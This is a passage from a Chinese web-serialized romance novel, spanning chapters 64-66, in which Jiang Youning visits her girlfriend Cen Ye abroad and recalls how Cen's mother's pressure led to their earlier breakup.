岑曳转头盯她,姜又柠莫名被这个眼神弄得背后发毛。 她总觉得见到岑曳之后,这个女人的情绪就很奇怪。 如果真的是担忧她的话,情绪也不至于这么不冷静吧? “我不是小孩子了,我自己会独立出门的,我现在不是安全到了吗?” 岑曳蹙眉,“你幸好是安全到了。” 不然,她真的不知道该怎么办了。 “想给你个惊喜还是我的错了……” 姜又柠突然心裏酸酸的,她真的以为岑曳会很高兴的。 每次努力准备的东西结果都没有达到预期,她心裏也有点不是滋味。 车子停在了路边,岑曳察觉到她的情绪,伸出手摸了摸她的头,“对不起,是我太着急了。” 要是一直强硬的态度,姜又柠还能犟嘴几句。 被这么柔声安慰了下,她就忍不住眼泪了。 手背上掉下来几滴泪,岑曳蹙了蹙眉,“累吗?我先带你回家,你先睡会儿,我帮你打包饭回来?还是我们一起去吃饭?” “……我不知道。”姜又柠啪嗒啪嗒掉着眼泪,委屈立刻藏不住了。 岑曳解开她的安全带,调整了座椅把她捞过来放在自己腿上,抬眸擦拭着她的眼泪,“我是担心你人生地不熟,怕你有危险,但我态度不好,我跟你道歉,不哭了,好不好?” “我没有怪你……”姜又柠搂着她的脖子,也不知道自己为什么哭。 她心裏慌慌的,见到岑曳明明是很开心的,可她总是害怕,带着对于未知的害怕。 “我吃了飞机餐,在飞机上也睡觉了。”姜又柠乖乖回答,“现在做什么都行,我就是想跟你待在一起……” 岑曳轻轻点头,啄了啄她的唇,“那我们去吃饭。” 怕姜又柠不适应,两个人先去了一家中餐厅吃饭。 虽然味道没有国内正宗,但姜又柠吃得也很饱。 两个人又逛了逛超市,很快便回了家。 姜又柠偷懒不想洗澡,非说自己在酒店洗过了,但被岑曳强硬地抱去浴室又好好洗了一遍。 “我没带玩偶过来,还在家裏放着。” 她把狐貍玩偶和貍猫放在一起了,还贴心地给它们盖上了被子。 “抱着我睡不就好了吗?”岑曳打开电脑,继续忙着自己的工作。 姜又柠好几天都没见她,懒洋洋趴在她胸口,“我请了三天假,今天周二……不对,已经周三了。连着周末我能歇五天。” “婚礼在下周三,你再多请几天,到时候跟我一起回去。”岑曳挪了下身体,胳膊绕过她的脑袋,搂着她双手敲键盘。 “要是假不批怎么办啊?”姜又柠下意识问出口,随后就意识到上司就在自己面前,怎么可能不批。 岑曳看她一眼,“是哦,你请太久,确实很有可能批不了。” “那怎么办嘛?” 女人的食指在自己唇上点了点,“看你表现。” “切,就知道占我便宜,不批我的假,那我就旷工!” 岑曳笑了笑,心情舒适了很多。 姜又柠似乎有满肚子的问题要问她。 岑曳跟她解释,这周五她要到总部进行工作彙报,还有些待开发的项目她也能趁这个方便沟通的机会先过目一下。 “还以为你到国外能休假呢,原来还是这么忙……” “忙点好,赚钱养你。” 姜又柠美滋滋地咬了口她的胸,“最近几天你情绪都不太好哦,我跟你打电话的时候都能听出来。” 岑曳的动作停了下,明知故问,“什么时候?” “就我上周末找我妈妈吃饭的那天啊。”姜又柠迫不及待地跟她分享,“她说了,等之后找个时间,她来家裏给我们做饭吃。” 背着她跟颜歆见面和姜鸿英同意这段感情甚至乐意来家裏做饭的两种截然不同的情绪在女人心头来回交杂,最后还是后者占据了上风。 她笑得很温柔,捏了捏姜又柠的脸,“好。” 姜又柠舍不得睡觉,就像小时候那样,把自己生活中遇到的点点滴滴全都分享给她。 “你都不知道,最近一段时间飞机票有多贵!机票就不能跟高铁票一样,保持一个价格吗!”姜又柠说,“诗文说,她们婚礼包了个酒店,然后附近的酒店就都趁机涨价了!我花了好多钱哦……” 岑曳利落地拿过手机,给她转了五万块钱过去,“够吗?” “我没有要你给我报销的意思嘛。”姜又柠翘了翘嘴角,“但你给的话我也不是不能收的。” “不是为了给你报销才给你转钱。”岑曳点了点她的鼻子,“只是想给你,你继续要的话我也能继续给。” 姜又柠高兴到起飞,她抱着女人的腰,“姐姐,还是你对我好嘛。” 闻言,岑曳将电脑放在一边,跟她距离贴近了一些,“再喊一声。” “喊什么?”姜又柠思索,“岑曳?” 说完屁股就被狠狠拍了下。 “我大老远飞过来不是来挨打的!”姜又柠吃痛地‘啊’了下,为自己辩驳,“再这样我飞回去了!” “你的护照我已经收起来了,这几天别想这些有的没的,老实待在我身边,哪儿都不准去。” 刚刚行李箱的东西也都收拾出来了,那个塑料防水袋裏面装的都是贵重物品,岑曳看一眼就知道。 姜又柠记性不好,容易丢东西,她只能勉为其难地帮她保管一下。 “你这是非法囚/禁!”姜又柠坐在她小腹上,双手按住她,“我要生气了!” 女人的掌心落在她的后腰,猛地一按,她整个身体都被迫下倾。 距离近在咫尺,甚至能够嗅到彼此灼热的呼吸。 “让我看看,你是怎么生气的?” 话音刚落,姜又柠整个人都被翻过来压在了床上。 吻很快落了下来,不过不是她想象中的激烈,反而又缓又慢,带着无尽的柔情缱绻。 “我很想你,柠柠……”吻和低语一同落在耳边,姜又柠空荡荡的心裏又一次被填满了。 她抱紧女人,感受着她的动作,整个人都软得一塌糊涂。 “姐姐……”她情不自禁地喊她。 好像回到了还在岑家的时候,待在只有她们两个人的大房子裏,她等了好久出差的岑曳归来,之后她们便不知昏天黑地地共享彼此的呼吸。 终于能睡个安稳觉,两个人都是。 岑曳依旧从后面抱住她,肌肤紧紧贴住,头埋在她的颈窝裏,不肯留下一丝一毫的缝隙。 姜又柠抓住女人的手腕,眼眶中的水雾还没散去,整个人晕晕乎乎的,满脑子都是刚才的吻。 “明天要不要跟我一起去公司?”岑曳问她。 “……不要了吧。” 岑曳亲了亲她的脸,“那有想去玩儿的地方吗?我陪你去。” “你忙自己的事情嘛。”姜又柠说,“我自己待着也可以的。” 她想了想,“我是不是可以去找诗文?不知道她有没有时间见我?” 江诗文一直跟她吐槽,还说手机上聊太麻烦,特别想她来。 “她最近忙着准备婚礼,你陪着她的话,她应该也不会觉得太无聊。” “那我明天睡醒就联系她!” 岑曳应了声,“我下了班就去找你,记得别再乱跑。” 姜又柠想不明白了,这个女人怎么老在纠结这一点。 “我没有乱跑!” “那天你跟姜阿姨一起吃饭,真的只有你们两个人吗?” 姜又柠心裏一滞,解释起来太麻烦,她怕岑曳又拉着她做,闭上眼睛说着,“……啦啦啦我睡着咯听不见。” 岑曳轻轻拍了她一下,“就知道装傻,小骗子。” 算了,既然都主动送上门了,那也不用太着急。 改天她再算这个帐—— 作者有话说:甜~蜜~蜜~[奶茶][奶茶] 第65章 餐桌上放着早餐, 姜又柠还没能适应时差,岑曳准备上班的时候她跟着一起醒了。 “真不想跟我一起去公司?” 姜又柠咬着三明治,“谁请假是为了去另一家上班啊……” 岑曳无奈摇摇头, “这裏你路不熟悉,有情况及时给我发消息,别乱跑。” “不会乱跑!我就去找诗文嘛。”姜又柠刚辩驳一句, 就想起昨晚没能继续往下聊的话题,及时打住, “知道了知道了, 我会给你发消息的。” 她看了眼手机, 江诗文的消息也发了过来, 先是惊喜地发了一大堆转圈圈的开心表情包,随后就说派家裏的司机来接她。 “手机充好电,别再关机了。”临出门之前,岑曳嘱咐她。 “充电宝自带的线坏了, 我今天往包裏装个充电器。”姜又柠把她送出门, “你早点回来。” “我很快,今天跟国内对接的负责人正好有空,我跟她聊两句,不用严格按照上下班时间。”岑曳说,“我让人送来了几套衣服, 都是你的尺码, 记得穿厚点。” 姜又柠点点头, 看着她出了门,又跑到阳臺那边喊她。 两个人一上一下地挥挥手,姜又柠美滋滋的,眉眼裏满是甜蜜。 这栋别墅欧式风格很浓郁, 她听岑曳讲,这是岑千兰在国外买下的第一套房子。 一共有三层,岑千兰本来以为岑曳毕业之后会直接来到国外,所以尽量买面积大环境也好的房子。 但岑曳没如她的愿,她一个人住这么大的房子也不舒服,太空了,所以在距离总部很近的区域买了套联排小别墅。 那个小区在商业中心,周围很多企业高层在住,她不少老朋友也都住在附近,来来往往也方便。 姜又柠参观完第一层,书房厨房卧室之类的该有的都有了,但上了二楼之后,就是一些娱乐房了。 不过设施不多,不少角落裏都囤积了些物品。 像是商业往来会送的礼物,看包装就格外精致,但连外层的丝带都没拆开,直直地摆在那裏没有人理会。 不过有的也有明显打开的痕迹,姜又柠询问了岑曳的意见之后,随手打开了一个细长的礼物盒,裏面是一支钢笔。 人看到精致的东西总会想着搜索价格,姜又柠也不例外,她蹲下来慢悠悠打开手机,发现这支钢笔六位数,吓得又小心翼翼装了回去。 她在网上看到了,送老板两千的项链老板不稀罕,送老板两千的钢笔老板绝对会注意到你。 “六位数的钢笔都被随手扔在这儿吗?”姜又柠吐槽一句,也不敢再碰这些东西了。 二楼的房间都很空,她自己这么走两圈,还挺害怕的。 她推开最角落的房间,发现这裏的墙上全是荣誉证书,巨大的置物架上也是奖杯。 这都是属于岑曳的,从小时候就开始记录的,甚至连幼儿园都没放过。 像偷窥到了岑曳的秘密一样,姜又柠窃喜地拍下来,顺便发给了岑曳炫耀。 那边没有回复,姜又柠只当她是在忙。 她住到岑家一直到跟岑曳分手,她都没有仔细了解过岑曳小时候的点点滴滴。 她的童年完全被岑曳参与,可岑曳的童年呢? 看见这么多的奖杯,她就知道岑曳一定过得很辛苦。 岑千兰是很严厉的,姜又柠听到过很多次她跟岑曳争吵。 无非就是关于学业的、日后工作的。 她们的争吵并不歇斯底裏,而是有来有回地辩解。 小小的姜又柠还没有足够的阅历能在她们争辩的事情上分清黑白,无论是谁在说话,她都觉得好有道理,但最后她还是偷偷在心裏站到了岑曳的那一边。 这完全是私人感情参与到了她的立场中。 从楼梯上了三楼之后,姜又柠便扶着扶手喘着气。 她真是没有住大别墅的命,上个楼就喘得不行,还是国内的小区房适合她这种穷人,就是噪音有点吵。 三楼更是空荡荡的,什么布置都没有,她嘆了口气又下来了。 这栋房子后面还有一处花园,但不知道是因为天气冷还是没人照顾,那裏堆满了杂草。 临近中午的时候,江诗文派来的司机到了,姜又柠便坐上车去了江诗文的家裏。 江诗文祖上几代都比较富裕,家裏也有专门的佣人照顾日常,车子刚开进大门,迎面而来的便是绿油油的人造景色。 雪下得很大,还有工人在忙着雕刻冰雕。 姜又柠这辈子都没想过,成堆的绿植能跟冰雕待在一起。 在国内工作的那一年多,真是苦了江诗文了。 有钱人都喜欢上演‘我不需要钱,我需要很多很多的爱和自由’这种戏码吗? 江诗文就在客厅的餐桌上坐着,长长的欧式餐桌上摆满了很多菜肴。 姜又柠显得局促很多,她知道江诗文家裏有钱,没想到她家裏这么有钱。 “柠柠!”江诗文拉着她坐下,“你可算来了,你都不知道我最近一段时间过的是什么苦日子!” 姜又柠听她开始滔滔不绝地讲最近准备婚礼的流程,换了多少套衣服。 她理解不了这种苦,只是有些茫然。 家裏这么受宠,也会被催着联姻吗? 她想着便问出了口,江诗文愁眉苦脸,“这是祖上的庄园,我特意想让你来这儿的,主要这儿有国内的大厨,做饭你能吃得惯,其实平常我也不在这儿,庄园太老了没人乐意住。我结婚的事情,主要是因为家裏孩子多,总部那边是我妈妈手边参与的公司,另些产业都分给了家裏的姐妹,大家心思都多着呢,要想在家裏出人头地,做最风光的,总得自己想办法。” “那你之后打算住哪儿?”姜又柠问她。 “要不我妈那儿,要不……跟庄玟住一起吧大概。”江诗文吩咐佣人把骨头汤加热,“有什么需要你直接吩咐她们就行。” 姜又柠如坐针毡,她应该问一下的,她实在适应不了这样的场面。 而且,她看到周围这些人,总会想到姜鸿英,心裏便酸酸涩涩的,更不敢随便吩咐。 江诗文看出了她的别扭,便让佣人都下去了,两个人安安静静吃着饭。 “你去过总部了没?我看岑曳姐最近都在上班呢。” 姜又柠摇摇头。 “之前我跟庄玟去了一两次,岑阿姨都在给岑曳姐介绍高层认识呢,跟马上就要被调回来一样,宴会的时候也是。” 姜又柠拿着筷子的手顿了下,美味的饭立刻没了什么味道。 “我不太清楚总部那边会不会大力支持国内市场的开拓,但如果岑曳姐跟之前那几个总监一样,调回总部的话,那柠柠你会跟着一起过来吗?”江诗文说着便灿烂地笑,“这样我们一起玩儿的时间就更多了!我妈也想我去她手边上班,我不太想去,总部工作太辛苦了,都不是人能去的,没有那个身体素质,也没有那个能力啊……” “岑曳没有跟我说过这些。”姜又柠抿抿唇,“工作方面,我只知道我们部门裏的情况,国外这边我一点儿都不了解……” 这个场面好熟悉,甚至只是换了个身边的人跟她讲。 她刚过完二十岁生日的时候,岑家也来了个总部的高层。 那个女人金发碧眼,却能说出一口流利的普通话,她跟岑千兰坐在家裏客厅裏,气质高雅。 周五她没课,便打算回家裏住,刚进门就看到了这两个女人。 她说了声抱歉,不知道自己该回小房间还是离开的时候,岑千兰就说,“柠柠回来了?你先回房间休息会儿。” 意思很明显,姜又柠便立马回了自己的卧室,但偷偷留了一小条门缝。 这两个人在商谈岑曳去总部工作的事情,口吻非常确定。 没多久岑曳回来了,没跟这两个人谈几句话,找了个借口带着姜又柠出去吃饭了。 那天岑千兰很生气,但周末两天在家,姜又柠也没能见到她,只是始终在身边的岑曳看手机回消息的次数频繁了很多,而且眉头皱得很深。 “姐姐,你要去国外工作了?” 岑曳揉了揉她的脑袋,“不去,我不是答应过你吗?” “可是周五那天我听到了,说什么总部给你留了位置,你的考察期也通过了,你可以直接上任带人什么的……” 女人微顿,空气裏倏地寂静了很多。 她沉默了几秒钟,“答应过你的事情,不会变的,怎么总是想这些?” 姜又柠心思敏感,能够从岑曳不算冷静的那几秒钟看出纰漏。 “你又要想办法拒掉吗?岑阿姨说过很多次,这是个很好的机会,你去了那边可以有更好的发展。” “我们柠柠上了大学,也开始了解工作这方面了是不是?”岑曳笑了笑,解释道,“但更好的发展得看自己的选择,只有自己想要的才是最好的。” 姜又柠还想说些什么,却被女人嘆了口气抱在了怀裏。 她亲了下她的唇,“什么都不用担心,我不会离开的,我舍不得你,柠柠。” 姜又柠张了张唇,女人的舌尖便探了进来跟她纠缠,堵回了她所有想说的话。 她就算不清楚岑千兰太多信息,也知道她在国外总部就任,还是高层,拿捏住中心股份的那一批人。 岑曳去国外要比留在国内自己就业强太多了。 亲吻逐渐加深,她的思绪被缓缓打断,姜又柠感受着女人的亲吻逐渐向下,再也没了深想的机会。 “最近我事情有点多,想见面的话就联系我,我尽量腾出时间来。”岑曳松开她,指腹摩挲着她湿漉漉的眼角,“其余时间好好上课,不准乱想,我找时间给你把零食寄到学校去,这样你也能直接去驿站拿。” “我不吃零食了,你先忙自己的事情吧。”姜又柠委婉拒绝了,“别再找同城寄送了,少吃几口也没关系。” 岑曳点点她的唇,浅淡地笑了笑。 接下来的一段时间,驿站她爱吃的成箱成箱地送,但岑曳的消息却回得不够及时。 不过岑曳闲下来的时候会继续安抚她不要多想,最近工作实在太多。 从来都没有这种情况,从来没有。 哪怕以前忙得不可开交,岑曳也会具体地告诉她是哪方面忙,而现在说的完全就是套话。 晚上,她在吃晚饭的时候收到了岑曳的消息。 【岑曳:现在回家一趟。】 【岑曳:最好在八点前到。】 罕见的强硬语气,连问候都显得多余。 姜又柠以为她是有什么紧急的事情,刚买好的饭也没吃,打了辆车直奔岑家。 回家之后,她大喘着气走进客厅,可沙发上只坐着岑千兰一个人。 “岑,岑阿姨……”姜又柠看了眼时间,七点四十五。 岑千兰笑着道,“你很准时。” 姜又柠僵住,望向了茶几上的手机。 那是岑曳的。 ……大概有些必须要发生的事情要来了。 “坐吧,我有些事情想要问你。”岑千兰扬扬下巴,将一杯茶水推到她面前,“别紧张。” 姜又柠小口抿了下茶水,被苦得皱了皱眉头,随后又双手放下了。 “岑曳要去总部工作的事情你听说了吧?” 姜又柠点点头,始终没有抬头看向她。 哪怕岑千兰的语气刻意放轻,她还是觉得压迫感极重,压得她几乎喘不过气来。 “我对她要求一直很严格,但无关紧要的事情我从来不在乎,比如她跟哪些人交了朋友又跟哪些人断绝了来往,休息时间都浪费在了哪些事情上,还有跟你已经维持了……两三年的感情关系?” 姜又柠咬唇,掐着自己的手,她几乎感觉不到任何的疼痛感,但心脏却针扎似的疼。 这段感情被对比在前两项上,就好像在说,她们的感情也是会在日后的某一天断掉的,或者岑曳跟她谈恋爱完全就是在浪费时间。 “你妈妈工作能力很不错,把你也教得很好,你在家裏住的时候,岑曳的情绪要比以往积极很多。”岑千兰说,“所以我并不想掺和到你们年轻人的感情当中,但岑曳去总部工作,是我很多年前就在考虑的事情。” “她最先告诉我,想先适应一下国内的就业环境,而后又是什么总部工作强度大,她适应不了。我给她调整状态的时间,给了她几年,现在又扔给我一个新的借口,说她放心不下你。” 姜又柠已经将嘴唇咬出了血,口腔内浸透了血腥味儿,哪哪儿都难受得很。 她已经能够猜出岑千兰接下来要说的话,逼她们分手。 岑千兰是不是觉得她脸皮很厚,赖在岑家吃吃住住,还想着一步登天。 这下打发掉她还要花费一笔钱。 “岑曳的态度很强硬,她一直是这样,认定的事情根本都不会变,无论我怎么劝她。”岑千兰嘆了口气,视线落在茶几上的手机那儿,“我要是想让她出国,有一万种方法,但她毕竟是我的女儿,我也不想跟她闹得太僵。” 姜又柠的脑袋垂得很低,模糊的目光看着手背上一滴滴落下的眼泪。 “既然岑曳执意如此,那我只能来问问你的意见。”岑千兰说,“我了解过你的学校了,之后你的就业可能会有些困难。所以,你想不想到国外上学?我可以承包你所有的花销。” 姜又柠猛然抬头,“会花很多钱的……” “小钱而已。”女人扯了扯唇,但没什么笑意,“我当然会给我的女儿想要的,但首先她得听我的。” 姜又柠的脑子有点懵,她在脑子裏思索着。 她的成绩本来就不好,英语更是烂得一塌糊涂,如果决定现在出国读书,那么她需要在短短一段时间内准备太多东西了。 考试、证明…… 她要努力去拼这些,只为了一个遥远又看不到将来的感情吗? 姜又柠对这段感情也是没有底的。 小时候不懂分寸,不懂家庭条件的差异,只知道谁对她好,谁对她不好。 岑曳对她好,那她就喜欢岑曳。 确认关系之后,她开始迈入大学裏,社交圈上了一个新檔次,她意识到,她跟岑曳真的一点儿都不匹配。 她喜欢的一切岑曳都能够轻而易举地给她,而她什么都还不回去。 岑曳跟她说过很多次,‘谈恋爱是没办法讲究有来有往的平等的,总会有一方付出多,一方付出少,可我们相爱,这就足够了。’ 岑千兰拿起茶杯,抿了一口,“你慢慢考虑,但我需要一个尽快的答复,我的时间确实比较紧张。” 姜又柠用袖口擦掉眼泪,她跟岑曳会有未来吗? 就算她真的去了国外,如果她们分手了怎么办? 她本来就没有任何底气,也不能用虚假的承诺去赌自己能有个明亮的未来。 姜鸿英看得很清楚,像她们这种普通人,只需要一辈子健健康康、快快乐乐的就好了,跟知识分子、跟有钱人去斗去抢占资源,那只会让自己变得很痛苦。 知足常乐,跟岑曳谈了这么久的恋爱,她也该懂得知足了。 姜又柠双手紧紧握在一起,她用力吞咽了下,保持镇定看向了岑千兰的眼睛。 “我,我只想在国内好好生活。”她的声线带着颤,“我现在很快乐很充实,周围的朋友都很好,妈妈也很好,您也很好,给了我们很多没办法靠自己拿到的东西。我现在很知足,也很感恩。所以,我接受不了您的建议了。” 她的日子是挺潇洒快乐的。 快乐到…… 好像其实也不需要爱情。 “你的妈妈把你教得很好。”岑千兰又这样说着,“但我们的缘分可能就要到这裏了。” 她目送着岑千兰离开,自己也没心情在这裏过夜。 某个想法开始在她心裏蔓延生长,但姜又柠却不知道怎么开口。 第二天,岑千兰依旧在家裏跟姜鸿英说了她跟岑曳谈恋爱的事情。 但姜鸿英情绪过于激动,所以事情不了了之。 后来岑千兰很快又找过她一次,说本意是想补偿给她们母女一些东西的,但看到姜鸿英那样的动作很意外。 ‘你们有自尊有尊严,是我做得太冒昧了。’ 岑千兰的歉意止步于此,而姜又柠始终犹豫不决的想法在经历了姜鸿英不打不骂只带着她回家说‘不允许她受欺负’的时候,就彻底敲定了下来。 她跟岑曳本来就是两个世界的人。 童话故事也不止会有美好的结局,主动放弃掉这段感情是她唯一能做的事情。 她不想成为岑曳的拖累和负担。 岑曳说,‘更好的发展得看自己的选择。’ 像岑曳那样优秀又强大的人,没有任何软肋才会有最好的发展。 这是她的选择—— 作者有话说:下章写分手[爆哭][爆哭]《 》 65-70 第66章 后来几天, 姜又柠开始刻意放慢自己回消息的速度。 岑曳问她家裏她们的行李怎么都不见了,姜又柠没回。 女人的问候多了起来,问她零食有没有吃完, 最近学校的伙食怎么样,要不要接她出去吃饭。 姜又柠每次都拒绝了,也不再询问她是不是要去总部工作的事情。 既定的答案没什么好问的。 她在思考着自己到底该怎么提出‘分手’这两个字。 每次睡觉前在脑子裏幻想的时候, 眼泪就会很快留下来。 她不敢发出任何声音,将床帘拉得严严实实, 咬住自己的手背无声落泪。 哭得不能自已的时候, 就会晕晕乎乎地睡过去, 醒来脑子涨涨的, 头也昏昏沉沉的很疼。 长痛不如短痛,姜又柠找了个周中的傍晚跟岑曳约在了校门口见面。 “我们得有两个星期没见了。”岑曳笑得很勉强,“最近很忙吗?没时间跟我见面?” 她大概是察觉到不对劲了,所以腾出了很多见面的时间, 但姜又柠辜负了她的好意。 岑曳拿出手机, 给她看她喜欢的餐厅,“我带你去吃饭。” “我明天还有早八呢。” “我赶在门禁前把你送回来,不会花太久时间的。”岑曳认真看她,一遍遍用视线描绘她的脸,眸光裏满是眷恋和不舍。 没人去提在岑家发生了什么, 当下的她们都知道这不是聊这些事情的好时机。 她伸出手试图去把姜又柠, 却被甩开了。 女人脸上的笑容一点点僵了, “柠柠。” 再次见面她们的话也很少,每个人都怕自己多说了一个不该说的字。 这段时间她们过得都很紧绷,连微信消息都发得很谨慎。 姜又柠张了张唇,但苦涩却被想说的话更先涌到嘴边。 岑曳见她流下眼泪, 冷脸强硬拉着她的手朝着车子的方向走。 甩不掉,女人的力道很重,姜又柠忍不住喊,“我说了我不想跟你去吃饭!” 拉开的车门又被关上,岑曳将她压在车边,唇很快便落了下来。 姜又柠推了下没能推开,便去咬她的唇。 可她越是咬她,女人便吻得越急。 亲吻压抑了太多东西,姜又柠的双手被她禁锢在身后,被迫挺胸迎合她。 岑曳的唇很快被她咬破了,磨蹭着姜又柠自己唇上的伤口,一时之间不知道血腥味来自于谁。 舌尖往后躲着,女人便顺势探进来勾住她的,将她的舌吮得又涨又麻。 “岑……唔……”津液交接,姜又柠被她抱住,甚至往她怀裏捞,肌肤紧紧贴着,她没有任何反抗的能力。 吻持续了将近二十分钟,姜又柠被她亲得晕乎乎的,但人依旧被她抱着。 “我不是说了吗?给我一些时间。”岑曳啄着她的唇,指腹顺着她的耳廓摩挲着她的耳垂,“相信我,好不好?” “国内就业环境差,你去总部会有更好的发展。”姜又柠强撑不让自己的脑子陷入晕眩。 有能力有人脉,岑曳在总部无论做什么都是如鱼得水的。 “我在国内的工作挺不错的,为什么你总把我往外推呢?”岑曳抓住她的手,跟她十指紧扣,“总部强度大,我自己适应不了,我喜欢国内的生活。” 女人没把话说得太明显。 姜又柠是有自尊的孩子,为了她留下来这种话,说出来她会内疚的。 眼泪还是忍不住落,姜又柠也懂她没能说出口的话。 岑曳越是为她着想,她就越不能耽误她。 “你喜欢是你喜欢,可我不喜欢。”姜又柠推开她,逃离了女人的怀裏。 “你不喜欢什么?我的工作?还是我的态度?”岑曳淡淡看向她,“我知道这段时间太忙,没能顾及到你,这是我的错,我向你道歉。” 几句话就让姜又柠好不容易停下来的眼泪再次决堤,“……我不喜欢你了,我们分手吧。” 女人似乎没能预料到她真的会说出分手这种话,脑子宕机了几秒钟,没能说出一个字来。 她呆滞地走近,试图再次牵过姜又柠的手。 “我不喜欢你了。”姜又柠依旧甩开,用这只手去擦自己的眼泪,“你别来找我了。” “姜又柠。”岑曳的耐心逐渐消失,“对我就这么没信心吗?” “我是对我自己没信心。”姜又柠哽咽着说话,努力让自己的情绪保持清醒,“我不喜欢异地恋,更何况是异国恋,我接受不了每次说话都要抱着手机,每次跟你分享事情都要对着屏幕,摸不到你……” ……也抱不到你。 电子恋爱有什么好谈的? 电话一挂,空荡荡的房间裏就只剩下无尽的空虚了。 “所以我不去总部,我们之前不是平衡的很好吗?” “这不一样,你去那边会赚到更多的钱,你会认识很多厉害的人,而不是只围着我转……” “你现在就用钱来衡量我们这么多年的感情吗?”岑曳失望地喟嘆,“你小时候跟我说,想跟我永远在一起,这么快就忘记了?” “小时候的话都是瞎说的,你比我成熟那么多,还会把这种话当真吗?”姜又柠握紧拳头,手指扣着指甲上的倒刺。 “姜又柠!”岑曳有些失控了,“有些话是不能说的你知不知道?这么任性谁惯的你!” “你惯的!” 姜又柠吼她,随后又哭出声来,“我就是喜欢蹬鼻子上脸……就是喜欢白吃白喝……别人都把我当没家教的小孩子欺负我,就只有你傻,对我那么好干嘛……就只有你岑曳最傻了……” 她跟姜鸿英去了那么多雇主家裏,只有岑曳对她露过笑脸,不求回报地照顾她,把她当妹妹。 她沦陷得太快了,得到的也太多了。 岑曳的心脏倏地一软,又走过来把她抱在怀裏,“干嘛这么说自己……我不走,我真的不会走的,我们好好地在一起。” “我不喜欢你了!岑曳!”姜又柠用力挣扎,“你放过我吧……我不想再跟你纠缠了……” 只有她们分手才是最好的结局,两个母亲都会顺心。 继续维持不平等的恋爱,缺陷只会被放得越来越大。 及时抽身是最好的,异国恋甚至只会是一个开始,以后她们或许还会有无数的矛盾出现。 姜又柠不愿意去想残忍的后果,“小时候家裏没钱,我只能跟着妈妈住进雇主家裏,现在我长大了,我可以住到学校裏,寒暑假我也可以去租个短期的房子,我不需要你了,岑曳,我不需要你再给我什么了。” “我不听你这些气话。”岑曳只是抱住她,下巴搭在她肩膀上,“我们不分手,不分手……” “我要回去了,到门禁时间了!”姜又柠继续挣扎,“你放开我!” 岑曳没动,“那就请假,跟我回家。” “那又不是我的家!”姜又柠往后撤着,不想被她塞进副驾驶,“还说你不会耽误我的学习,你岑曳生气的时候就只会搞专政这一套!现在不让我去上课,之后就想着把我关在家裏!这就是你跟我说的平等吗?” 岑曳冷着脸将她往车上捞,副驾驶空间小,那她就把她扔在后车座上。 姜又柠冷不丁被她甩进去,一只脚别在车外,“岑曳,你非要我讨厌你吗!你现在的行为真的让我很厌恶……” 女人的动作倏地就停了。 她呆滞的时间只是一剎那,但今晚却出现了很多次被姜又柠的话惊讶到的状况。 “柠柠……”岑曳皱着眉头喊她。 一张那么软的唇,怎么会说出这么令人伤心的话? 姜又柠跳下了车,头也不回地往学校裏面跑。 眼泪彻底失控,糊满了整张脸,可她却根本不敢回头看,步伐越来越快,拼了命地跑。 她太不是人了,她对着岑曳说了太多难听话了。 可是她真的没有任何办法了……- 之后的几天,姜又柠每次去校门外的小吃街买东西都能看到女人的身影。 她依旧站在树荫下,往校门口进进出出的人群裏找。 她们依旧默契,甚至能够一眼看到彼此的身影。 姜又柠饭吃不进去,这样做只是为了让自己看起来是毫不在乎的。 分手就分手,一点儿都不会伤到她。 那颗大树离校门口有些距离,姜又柠看不清女人的表情,也不知道她站在那裏站了多久。 每次出来都能看到她,大概岑曳拿捏准了她的课表,总会提前到这裏等着。 前几天闹过一次,姜又柠为了狠下心来,直接把岑曳所有联系方式都删掉了。 她不知道该怎么处理。 岑曳为什么每天都会来? 这不是更耽误工作吗? 周五的时候,姜又柠打算回集体宿舍住,出了校门口没能看见树荫下的女人。 地铁站有些远,姜又柠坐上了校门口的公交,看见一辆熟悉的车子开了过来。 她从窗口往外看了一眼,那辆车在跟着公交车走。 到了公交站,姜又柠慢悠悠地往集体宿舍的方向走。 在熟悉的转角路口,女人靠车倚着,双手插/进口袋裏,见了她来,抬手抓住了她的手腕。 这裏是必经之路,姜又柠避不开。 她抬眸看向她,发现岑曳憔悴了很多。 按照她强迫症的毛病,不会让自己有明显的黑眼圈和疲惫的状态的。 姜又柠抿了抿唇,“……我说得很清楚了,你还要干嘛?” “我把你送回集体宿舍。”岑曳松开了她,“什么都不做,就送你回去。” 姜又柠的心脏跳得很快,她只能慢慢往前走。 路灯将两个人的身影都拉得很长,姜又柠看见两个身影紧紧贴在一起,怕自己心软,加快了步伐。 但女人跟她也很紧,步伐跟着她加快。 姜又柠不想在集体宿舍周围闹,裏面都是认识她的阿姨,她也不想姜鸿英看见。 她在周围的小路上慢慢绕着走,消磨着岑曳的耐心。 但岑曳什么都不说,一个多余的动作也没有,就只是跟在她身后。 终究还是姜又柠停了脚步,转身看她,“我们能和平分手吗?” 岑曳沉默着跟她对视,“……我不会跟你分手的。” “你这样让我很有负担。”姜又柠抿唇,“让我觉得很烦、很讨厌,我只想甩掉你。” 女人沉沉看着她的眼睛,那双漂亮的眸孔裏此刻看不出任何甜蜜。 “在你眼裏,我就是这么容易被放弃的人?” “对。”姜又柠视线落在地面上,“现在我不需要你再施舍给我好意了,你要是想我好,就别再来见我。” “我们都需要时间冷静一下。”岑曳淡声道,“现在你在气头上,等你情绪稳定了,我们再找个时间好好沟通。” “不需要,我之后有很多事情要忙。”姜又柠说,“我要忙着考试,好多大大小小的考试都跟期末周堆到一起了,我没有时间。” 岑曳思索了几秒钟,眉眼中的光亮黯淡了很多,“……要怎么做你才会跟我好好讲话呢?” “我讲话就这样,是你腻了吧?”姜又柠狠下心来,“别再来找我了,你不喜欢把时间浪费在没有意义的事情上,对吗?” 她说完便大步往集体宿舍的方向迈。 之后的几天,她偷偷去校门口的时候,没能发现岑曳的身影了。 周末回集体宿舍,也没能再见到她。 再后来,她的身边就彻底没了岑曳的消息。 …… 江诗文的手在姜又柠面前挥了挥,“每次聊到这些你的状态都不太好的样子……” 姜又柠挤出一个笑容来,收回了自己的思绪。 “我跟岑曳当初分手就是因为我不想让她为了我放弃到总部工作的机会。” 江诗文意外她的直白,“怪不得岑曳姐刚来的时候脾气不是很好,后来慢慢适应了这裏,才把她温柔的一面表现了出来。” 当时庄玟也刚进总部没多久,两个人都摆着臭脸,不少不服气的人很快都被这两个人的实力压下去了,甚至连背后讲小话都不敢。 直到后来大家才发现,岑曳最真实的性格并不是表面上的那样冷淡,反而很温柔,但都默契地不去打探她的故事。 “当时我说了很多难听的话……”姜又柠捂住自己的脸,想想就觉得很难过,“她一定很伤心……” 江诗文捧着自己的脸,想象不到姜又柠会说出什么难听话。 